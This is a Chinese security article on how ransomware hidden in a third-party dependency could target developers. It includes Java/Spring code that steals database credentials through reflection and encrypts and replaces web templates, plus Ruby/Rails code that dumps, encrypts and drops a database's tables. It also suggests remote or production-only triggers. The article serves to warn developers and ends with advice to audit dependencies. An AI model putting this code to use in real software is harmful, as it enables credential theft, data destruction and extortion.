當前,勒索軟件已經成為一種日益嚴重的威脅。例如,最近人們發現了一種稱為“Locky”的勒索軟件正在通過Facebook Messenger大肆傳播,而上周末,舊金山的地鐵系統則遭到了勒索軟件的入侵。今天,我們將深入了解勒索軟件如何瞄準開發人員,通過依賴庫進行傳播。
可疑的依賴庫
那為什么要瞄準開發人員呢?要知道,他們通常更加技術精湛,并且很少安裝可疑程序的。很明顯,相對于綁架家用計算機來說,攻擊開發者的機器的收益可能會更大,因為攻擊者這樣做的話,有可能控制一連串的生產環境中的系統。只要綁架的系統越多越有價值,移動勒索軟件開發者就可以勒索更多的贖金。
這種勒索軟件可以包含在無害的依賴庫中。下面通過一個具體的例子來介紹它的工作原理。雖然這里使用的是基于Java(Spring)和Ruby(Rails)的示例,但是這些技術同樣適用于其他語言和框架。
下面,讓我們從一個使用MySQL的Spring MVC應用程序為例進行介紹。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<!--?pom.xml?--> <dependency> ???? <groupId>mysql< /groupId > ???? <artifactId>mysql-connector-java< /artifactId > ???? <version>5.1.9< /version > < /dependency > ? #?persistence-mysql.properties dataSource.driverClassName=com.mysql.jdbc.Driver dataSource.url=jdbc:mysql: //localhost :3306 /dbransom dataSource.username=root dataSource.password=password ? hibernate.dialect=org.hibernate.dialect.MySQLDialect hibernate.hbm2ddl.auto=create |
此外,我們還將包括一個可疑的依賴庫:
1
2
3
4
5
6
|
<!--?pom.xml?--> <dependency> ???? <groupId>org.evil< /groupId > ???? <artifactId>evil-utils< /artifactId > ???? <version>1.0< /version > < /dependency > |
它提供了一個供外部調用的EvilUtils.padLeft方法,它將作為Web服務的一部分被調用。
反射
攻擊者一旦在應用中植入了惡意軟件包,那基本上就可以為所欲為了。從某種程度上來說,這相當于在應用程序的環境中獲得了遠程代碼執行能力,從安全的角度來說,這通常是災難性的。
為了獲得贖金,攻擊者需要綁架一個足夠重要的目標。在這里數據庫是個不錯的目標坐標,因為這是一個Spring應用程序,攻擊者可以很容易找到它——只要獲得Spring應用程序的上下文并定位正確的bean即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
class?EvilUtils?{ ?? // ?Access?the?Spring?context ?? @Autowired ?? private?WebApplicationContext?ctx; ? ?? EvilUtils()?{ ???? SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(this); ?? } ? ?? DataSource?getDataSource()?{ ???? DataSource?ds?=?null; ???? try?{ ?????? ds?=?(DataSource)?ctx.getBean( "dataSource" ); ?????? return ?new?JdbcTemplate(ds); ???? }?catch?(NoSuchBeanDefinitionException?e)?{} ???? // ?... ?? } ? ?? public?String?padLeft(String?s)?{ ???? return ?"?" ?+?s; ?? } } |
如果這行不通的話,我們可以訪問類加載器,并尋找一個具有返回某種DataSource的方法的類即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
for ?(Class<?>?klass?:?loadedClasses())?{ ?? Method[]?methods?=?klass.getMethods(); ? ?? for ?(Method?m?:?methods)?{ ???? if ?(m.getReturnType()?!=?DataSource.class)?{ ?????? continue ; ???? } ? ???? // ?We've?found?a?target! ???? m.setAccessible( true ); ???? for ?(Constructor?ctor?:?klass.getDeclaredConstructors())?{ ?????? // ?Instantiate?the?target?bean?and?autowire?its?dependencies ?????? if ?(ctor.getGenericParameterTypes().length?==?0)?{ ???????? ctor.setAccessible( true ); ???????? Object?instance?=?ctor.newInstance(); ???????? SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(instance); ???????? beanFactory.autowireBean(instance); ???????? ds?=?(DataSource)?m.invoke(instance); ?????? } ???? } ? ???? if ?(ds?!=?null)?{ ?????? return ?ds; ???? } ?? } } |
進行反射,這樣攻擊者就可以通過它來獲取數據庫連接的各種細節了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
import ?com.mysql.jdbc.ConnectionImpl; ? void?getConnectionInfo()?{ ?? Field?f; ? ?? f?=?ConnectionImpl.class.getDeclaredField( "user" ); ?? f.setAccessible( true ); ?? String?username?=?(String)?f.get(conn); ? ?? f?=?ConnectionImpl.class.getDeclaredField( "password" ); ?? f.setAccessible( true ); ?? String?password?=?(String)?f.get(conn); ? ?? f?=?ConnectionImpl.class.getDeclaredField( "host" ); ?? f.setAccessible( true ); ?? String?host?=?(String)?f.get(conn); ? ?? f?=?ConnectionImpl.class.getDeclaredField( "database" ); ?? f.setAccessible( true ); ?? String?database?=?(String)?f.get(conn); ? ?? // ?... } |
然后,我們可以使用這里的憑證來創建一個新的連接來訪問數據庫。
下一步是設法讓受害者無法訪問數據。就目前來說,我們可以使用各種各樣的方式來做到這一點;其中最簡單的方法是將數據庫內容轉儲到一個文件中,加密文件,然后刪除所有數據表。
PWN3D
攻擊者最后一步是確保受害者知道他們已經被“綁架”了,同時提供收款用的比特幣地址。攻擊者可以找到他們的模板文件,加密它們,然后用一個有趣的消息來替換它們。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
void?gloat()?{ ?? // ?Locate?web?resources ?? File?f?=?new?File(getClass().getProtectionDomain().getCodeSource().getLocation().toURI().getPath()); ?? String?path?=?f.getPath(); ?? int?indx?=?path.indexOf( "/WEB-INF/lib/" ); ?? path?=?path.substring(0,?indx?+?9)?+? "views" ; ? ?? // ?Replace?them?with?our?custom?views ?? for ?(File?template?:?getFilesFromPath(path))?{ ???? if ?(template.getName().endsWith( ".jsp" ))?{ ?????? encryptAndMove(template); ?????? moveResource( "pwned.jsp" ,?template.getPath()); ???? } ?? } } |
很明顯,攻擊者是不希望加密密鑰出現在惡意庫本身中的,因為這將使其易受逆向工程的影響。不過這不是個大問題,因為可以使用公鑰加密技術,即使暴露一個密鑰,受害者也無計可施。
這里介紹的技術還可以進一步優化,例如只在生產系統上面觸發漏洞,或者添加一種方式來遠程觸發它。
Rails
這個攻擊手法的Rails版本要簡單得多:我們只需從ActiveRecord :: Base.connection_config [:password]獲取密碼即可。這里是一個使用SQLite的完整漏洞的示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
def?delete_db ?? conn?=?ActiveRecord::Base.connection ? ?? if ?conn.adapter_name.eql?? 'SQLite' ???? sqliteDb?=?ActiveRecord::Base.connection_config[:database] ???? puts?`sqlite3? #{sqliteDb}?.dump?>?dump.sql;` ? ???? #?Encrypt?file ???? file_path?=?` pwd ` ???? encrypt_file(file_path.chop,? 'dump.sql' ) ? ???? #?Delete?dump ???? FileUtils.rm_r? "#{file_path.chop}/dump.sql" ? ???? #?Drop?all?tables ???? conn.data_sources.each? do ?|table_name| ?????? conn.drop_table(table_name) ???? end end |
由于通過程序庫訪問數據庫是一種正常的用法,所以很難區分哪些是惡意訪問,哪些是無害訪問。
一般來說,動態語言在這方面要更加脆弱,因為對它們進行靜態分析的難度更大,并且在運行時違反封裝和做事情的障礙通常更少。
攻擊向量
我們提出的具體例子可能看起來有點勉強——它要求許多東西以特定的方式精確發生才能奏效。但是,它確實是可能發生的。 有人可能會說,讓開發者依賴可疑的軟件包是很困難的;但是事實卻是——這容易得嚇人。
即使對于包管理器來說,Typosquatting攻擊也是一個非常讓人頭疼的事情。更何況,即使是最愚蠢的技術也常常能夠讓許多人上當;有時候,攻擊者會發布一個軟件的二進制版本,雖然聲稱是從正規渠道的源代碼構建的,但是背地里卻放入了蠕蟲……當然,對于那些本身就有安全漏洞的包管理器來說,根本就無需依賴于社會工程了。此外,還存在更多的創造性的方法可以用來散布惡意軟件包。
結束語
在使用第三方代碼的依賴庫時,會面臨許多固有的風險。所以要對它們進行相應的安全審計,以防著了隱藏在它們中間的勒索軟件的道。
來源:安全客
上一篇:Mirai變種中的DGA